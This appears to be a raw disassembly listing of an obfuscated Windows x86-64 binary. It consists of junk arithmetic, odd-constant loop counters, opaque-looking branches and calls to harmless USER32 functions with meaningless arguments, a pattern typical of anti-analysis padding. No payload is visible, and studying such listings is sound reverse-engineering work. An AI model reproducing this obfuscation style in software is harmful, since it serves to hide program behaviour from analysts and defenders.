mov edx, dword [rax]
mov eax, dword [rbp + 0x3fac]
add eax, edx
mov dword [rbp + 0x4c04], eax
mov rcx, qword [rbp + 0x3720]
mov rax, qword [0x140106038]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x700]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x3048]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1200]
mov rax, qword [rbp + 0x740]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x700]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3720]
mov rax, qword [0x140106038]
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x1afd0]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x2164]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x1558]
mov word [rax], dx
mov rax, qword [rbp + 0x1af60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x20b6]
or eax, edx
mov byte [rbp + 0x3657], al
movzx eax, word [rbp + 0x1a74]
lea edx, [rax*8]
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [rbp + 0x1afd0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1c72]
xor eax, edx
mov word [rbp + 0x1208], ax
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x34], al
mov rax, qword [rbp + 0x1b008]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [rbp + 0x700]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x33b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24a8]
and rax, rdx
mov qword [rbp + 0x840], rax
add dword [rbp + 0x1aff8], 0x37
mov ecx, dword [rbp + 0x1cc]
mov edx, dword [rbp + 0xf40]
mov rax, qword [rbp + 0x10b0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1af68]
mov eax, dword [rax]
add eax, edx
mov dword [0x140106030], eax
movzx eax, byte [rbp + 0x3f13]
movzx edx, byte [rbp + 0x3657]
sub eax, edx
mov byte [rbp + 0x20b6], al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x2c4c]
add edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x1a74]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4ed0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x5b8]
sub edx, ecx
mov word [rax], dx
cmp dword [rbp + 0x1aff8], 0xad79
jbe 0x140006393
jmp 0x140006b5c
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4150]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3657], al
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x1afd8]
mov dword [rax], edx
mov rax, qword [rbp + 0x1a9f0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1b020]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x33b8]
shr rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1200]
xor edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rdx, qword [rbp + 0x3720]
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x3a18], rax
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [rbp + 0x3720]
or rax, rdx
mov qword [0x140101050], rax
mov rax, qword [rbp + 0x2380]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x4ef6]
mov rax, qword [rbp + 0x4250]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
add eax, edx
mov byte [rbp + 0x20b6], al
movzx edx, word [rbp + 0x1c72]
movzx ecx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x4ed0]
sub edx, ecx
mov word [rax], dx
movzx eax, word [rbp + 0x1a74]
and ax, 0x42af
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x340]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x24a8], rdx
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bc8]
sub edx, eax
mov dword [rbp + 0x1200], edx
mov rax, qword [rbp + 0x1afd8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1cc]
sub edx, eax
mov rax, qword [rbp + 0x1afd8]
mov dword [rax], edx
mov rdx, qword [rbp + 0x3720]
mov rax, qword [rbp + 0x2d10]
add rdx, rax
mov rax, qword [rbp + 0x1b008]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1af78]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3720]
mov rax, qword [0x140106038]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4250]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x2c4c]
mov rax, qword [rbp + 0x2380]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
or ax, 0x53d1
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x1afd0]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x1c72]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x2164], ax
mov rax, qword [rbp + 0x1a9c0]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x3f13]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x3657], al
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [rbp + 0x3720]
and rdx, rax
mov rax, qword [rbp + 0x1af78]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2730]
add eax, edx
mov dword [rbp + 0x3fac], eax
mov rax, qword [rbp + 0x3048]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1bc8]
mov rax, qword [rbp + 0x740]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x340]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24a8]
sub rdx, rax
mov qword [rbp + 0x840], rdx
mov rax, qword [0x140106038]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [0x140106038]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
and ax, 0x6318
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x5b8]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x1afd0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
add edx, ecx
mov word [rax], dx
add dword [rbp + 0x1b054], 3
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x34]
add eax, edx
mov byte [rbp + 0x2c4c], al
mov rax, qword [rbp + 0x4150]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1af60]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3657], al
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1af60]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x1a9c0]
mov byte [rax], dl
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x740]
mov eax, dword [rax]
xor eax, edx
mov dword [rbp + 0x1bc8], eax
cmp dword [rbp + 0x1b054], 0xa2f8
jbe 0x140006816
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4c04]
or eax, edx
mov dword [rbp + 0x105c], eax
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1af78]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x700]
sar rdx, cl
mov qword [rax], rdx
mov rdx, qword [0x140101050]
mov rax, qword [rbp + 0x3a18]
mov ecx, eax
mov rax, qword [0x140106038]
shl rdx, cl
mov qword [rax], rdx
movzx edx, word [rbp + 0x1208]
movzx eax, word [rbp + 0x1c72]
and eax, edx
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0xebb]
add eax, edx
mov byte [rbp + 0x4ef6], al
sub dword [rbp + 0x1af70], 0x7d
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x1a74]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
movzx edx, word [rbp + 0x1c72]
movzx eax, word [rbp + 0x2164]
add eax, edx
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x4ef6]
sub edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x10b0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1cc]
sub edx, eax
mov rax, qword [rbp + 0x1afd8]
mov dword [rax], edx
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3048]
mov eax, dword [rax]
and edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rax, qword [rbp + 0x1a9f0]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x1b020]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2990]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x1af78]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3720]
mov rax, qword [0x140106038]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x1a74]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
movzx edx, byte [rbp + 0x34]
movzx eax, byte [rbp + 0xebb]
xor eax, edx
mov byte [rbp + 0x4ef6], al
cmp dword [rbp + 0x1af70], 0x91dd
ja 0x140006b6c
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx eax, al
test eax, eax
je 0x140006d2b
cmp eax, 0x30
je 0x1400fcb4d
jmp 0x1400fcbc3
mov rax, qword [rbp + 0x1b020]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x340]
mov rax, qword [rax]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x1a9f0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
add rax, rdx
cmp rcx, rax
jne 0x1400fcb37
jmp 0x140006f20
mov rcx, qword [rbp + 0x3720]
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x700]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x1b008]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [0x140106038]
add rdx, rcx
mov qword [rax], rdx
add dword [rbp + 0x1af8c], 0x2f
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5b8]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x2164], ax
mov rax, qword [rbp + 0x1aff0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1a74]
and edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
movzx eax, byte [rbp + 0x3f13]
movzx edx, byte [rbp + 0x3657]
sub eax, edx
mov byte [rbp + 0x20b6], al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x4afb], al
mov rax, qword [rbp + 0x1af60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1a9c0]
movzx eax, byte [rax]
xor eax, edx
mov byte [rbp + 0x3f13], al
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3a18]
or rax, rdx
mov qword [rbp + 0x3720], rax
mov rdx, qword [rbp + 0x24a8]
mov rax, qword [rbp + 0x340]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x3048]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1bc8]
mov rax, qword [rbp + 0x3048]
sub ecx, edx
mov dword [rax], ecx
mov rcx, qword [rbp + 0x3720]
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [0x140106038]
and rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x1a74]
sub ax, 0x5244
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [rbp + 0x1af60]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x1afd0]
movzx eax, word [rax]
movzx ecx, word [rbp + 0x2164]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1afd0]
mov word [rax], dx
cmp dword [rbp + 0x1af8c], 0x10407
jbe 0x140006d65
jmp 0x1400071fc
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
add ax, 0x4f8
mov word [rbp + 0x1a74], ax
mov rdx, qword [rbp + 0x24a8]
mov rax, qword [rbp + 0x2990]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x840], rdx
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x3720], rdx
mov rax, qword [rbp + 0x1af68]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xa6c]
mov rax, qword [rbp + 0x740]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x1af78]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3720]
mov rax, qword [0x140106038]
xor rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0xee4]
movzx edx, ax
movzx eax, word [rbp + 0x2164]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x1558]
mov word [rax], dx
movzx edx, byte [rbp + 0x4ef6]
movzx eax, byte [rbp + 0xebb]
or eax, edx
mov byte [rbp + 0x2c4c], al
movzx eax, byte [rbp + 0x20b6]
movzx edx, al
mov rax, qword [rbp + 0x1a9c0]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x1a74]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
movzx edx, word [rbp + 0xee4]
movzx eax, word [rbp + 0x2164]
add eax, edx
mov word [rbp + 0x1208], ax
add dword [rbp + 0x1affc], 6
mov rax, qword [rbp + 0x10b0]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf40]
and eax, edx
mov dword [rbp + 0x4c04], eax
mov rcx, qword [rbp + 0x840]
mov rdx, qword [rbp + 0x24a8]
mov rax, qword [rbp + 0x340]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov eax, dword [rbp + 0xa6c]
add eax, edx
mov dword [rbp + 0x1200], eax
mov rdx, qword [rbp + 0x3720]
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
sub rdx, rax
mov qword [0x140101050], rdx
movzx eax, byte [rbp + 0x4afb]
mov edx, eax
movzx eax, byte [rbp + 0x2c4c]
add edx, eax
mov rax, qword [rbp + 0x4250]
mov byte [rax], dl
mov rax, qword [rbp + 0x1af60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3657]
add eax, edx
mov byte [rbp + 0x3f13], al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x4ef6]
add edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
movzx eax, word [rbp + 0xee4]
movzx edx, word [rbp + 0x1c72]
sub eax, edx
mov word [rbp + 0x2164], ax
mov rax, qword [rbp + 0x1a9c0]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4150]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x10b0]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf40]
or eax, edx
mov dword [rbp + 0x3fac], eax
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3720]
xor rax, rdx
mov qword [rbp + 0x3a18], rax
mov edx, dword [rbp + 0x1200]
mov eax, dword [rbp + 0x1bc8]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0xa6c], eax
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [rbp + 0x3720]
mov ecx, eax
mov rax, qword [0x140106038]
shl rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
and ax, 0x61e3
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x1afd0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x1c72], ax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x4ef6]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x34], al
cmp dword [rbp + 0x1affc], 0xaac4
jne 0x140006f35
mov eax, dword [rbp + 0x4c04]
cmp eax, 0x2f5aab1c
jne 0x1400072d6
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x59
je 0x14000724f
mov rdx, qword [0x140101050]
mov rax, qword [rbp + 0x700]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x1af78]
mov qword [rax], rdx
jmp 0x140007250
nop
movzx eax, word [rbp + 0x1a74]
and ax, 0x1cd1
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
add eax, edx
mov byte [rbp + 0x3657], al
mov rax, qword [rbp + 0x1a9b0]
mov edx, 0x9e
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetSubMenu]
call rax
mov qword [rbp + 0x1a9b0], rax
mov ecx, dword [rbp + 0xa6c]
mov edx, dword [rbp + 0x1200]
mov rax, qword [rbp + 0x740]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x1b020]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24a8]
add rax, rdx
mov qword [rbp + 0x840], rax
jmp 0x1400fcb32
movzx eax, byte [rbp + 0x3657]
movzx edx, byte [rbp + 0x3f13]
sub eax, edx
mov byte [0x140101058], al
mov rax, qword [rbp + 0x1b020]
mov rax, qword [rax]
test rax, rax
je 0x140007313
movabs rdx, 0x5db07a563d40023e
cmp rax, rdx
je 0x1400fca87
jmp 0x1400fcaf0
mov rax, qword [rbp + 0x1afd0]
movzx eax, word [rax]
mov word [rbp + 0x4f4], ax
mov rax, qword [rbp + 0x4250]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x2c4c]
or edx, eax
mov rax, qword [rbp + 0x2380]
movzx ecx, byte [rax]
movzx eax, byte [rbp + 0x4ef6]
and eax, ecx
cmp dl, al
je 0x1400073fc
mov rax, qword [rbp + 0x740]
mov eax, dword [rax]
cmp eax, 0xb5b5cc06
je 0x14000736e
cmp eax, 0xd7bf36ff
je 0x14000738f
jmp 0x1400073fc
mov rax, qword [rbp + 0x39d8]
mov rdx, rax
mov ecx, 0x27
mov rax, qword [sym.imp.USER32.dll_VkKeyScanExW]
call rax
mov word [rbp + 0x2dd6], ax
jmp 0x1400073fc
movzx eax, byte [rbp + 0x4afb]
mov edx, eax
movzx eax, byte [rbp + 0x2c4c]
add eax, edx
mov byte [rbp + 0xebb], al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x42
je 0x1400073c0
cmp eax, 0x52
je 0x1400073e6
jmp 0x1400073fb
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx ecx, word [rbp + 0xee4]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1afd0]
mov word [rax], dx
call fcn.1400fdbea
jmp 0x1400073fb
mov ecx, 0xa2
mov rax, qword [sym.imp.USER32.dll_IsCharAlphaW]
call rax
mov dword [rbp + 0xd8], eax
nop
nop
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2730]
add edx, eax
mov rax, qword [rbp + 0x1afd8]
mov dword [rax], edx
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [rbp + 0x700]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x3720], rdx
mov rax, qword [rbp + 0x10b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1b000]
mov eax, dword [rax]
mov ecx, edx
and ecx, eax
mov rax, qword [rbp + 0x1afd8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x105c]
sub edx, eax
cmp ecx, edx
jl 0x1400fc903
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1af60]
movzx eax, byte [rax]
and eax, edx
movzx ecx, al
mov rax, qword [rbp + 0x4150]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x1a9c0]
movzx eax, byte [rax]
movzx eax, al
sub edx, eax
cmp ecx, edx
jle 0x140007528
mov eax, dword [0x140106030]
cmp eax, 0xc2cc3718
jne 0x14000750f
movzx edx, word [rbp + 0x1c72]
mov rax, qword [rbp + 0x1558]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x4f4], ax
mov rax, qword [rbp + 0x2af0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_IsMenu]
call rax
mov dword [rbp + 0x1a9f8], eax
movzx edx, byte [rbp + 0x3657]
mov rax, qword [rbp + 0x1a9c0]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x4150]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x340]
mov rax, qword [rax]
mov rcx, rax
call fcn.1400fe14c
jmp 0x140007528
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x3a18]
add rax, rdx
mov qword [rbp + 0x3720], rax
nop
mov rax, qword [rbp + 0x740]
mov ecx, dword [rax]
mov edx, dword [0x140106030]
mov rax, qword [rbp + 0x3048]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0xf40]
mov eax, dword [rbp + 0x1cc]
and eax, edx
mov dword [rbp + 0x4c04], eax
add dword [rbp + 0x1b094], 0x39
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
add rax, rdx
mov qword [0x140101050], rax
mov rax, qword [rbp + 0x1af60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4150]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x1a9c0]
mov byte [rax], dl
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
movzx eax, word [rbp + 0x2dd6]
movsx edx, ax
movzx eax, word [rbp + 0x1a74]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [rbp + 0x4250]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x4ef6]
mov rax, qword [rbp + 0x4250]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x5b8]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1c72]
mov rax, qword [rbp + 0x1558]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x3a18]
mov ecx, edx
sar rax, cl
mov qword [rbp + 0x2d10], rax
mov rax, qword [rbp + 0x2990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1a9f0]
mov rax, qword [rax]
and rax, rdx
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x3048]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3048]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x1af78]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3720]
mov rax, qword [0x140106038]
sub rcx, rdx
mov qword [rax], rcx
movzx edx, word [rbp + 0x1c72]
movzx eax, word [rbp + 0x2164]
add eax, edx
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
mov word [rbp + 0x2dd6], ax
movzx eax, byte [rbp + 0x4ef6]
mov edx, eax
movzx eax, byte [rbp + 0x4afb]
add eax, edx
mov byte [rbp + 0x2c4c], al
mov rax, qword [rbp + 0x4150]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1a9c0]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x4d98]
sub edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x2c4c]
mov edx, eax
movzx eax, byte [rbp + 0x34]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x4ef6], al
mov rax, qword [rbp + 0x4150]
movzx ecx, byte [rax]
movzx edx, byte [0x140101058]
mov rax, qword [rbp + 0x4150]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1afd8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1b000]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x2730], eax
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bc8]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rcx, qword [rbp + 0x2d10]
mov rdx, qword [rbp + 0x3720]
mov rax, qword [0x140106038]
xor rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x340]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
mov ecx, eax
mov rax, qword [rbp + 0x340]
shl rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x2380]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x4ef6]
or eax, edx
mov byte [rbp + 0x2c4c], al
mov rax, qword [rbp + 0x1afd0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1208]
add eax, edx
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x1aff0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1a74]
and edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x3f13]
sub eax, edx
mov byte [rbp + 0x20b6], al
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x1a74]
add eax, edx
mov word [rbp + 0x2dd6], ax
mov rax, qword [rbp + 0x340]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x24a8]
mov rax, qword [rbp + 0x2990]
add rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0xf40]
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x1b000]
mov dword [rax], edx
mov rcx, qword [0x140101050]
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [0x140106038]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3048]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x1200], edx
movzx edx, word [rbp + 0x4f4]
movzx eax, word [rbp + 0x2164]
add eax, edx
mov word [rbp + 0x1c72], ax
movzx ecx, byte [rbp + 0x34]
movzx edx, byte [rbp + 0xebb]
mov rax, qword [rbp + 0x4250]
and edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x1b094], 0x324c
jbe 0x140007528
mov rax, qword [rbp + 0x1aff0]
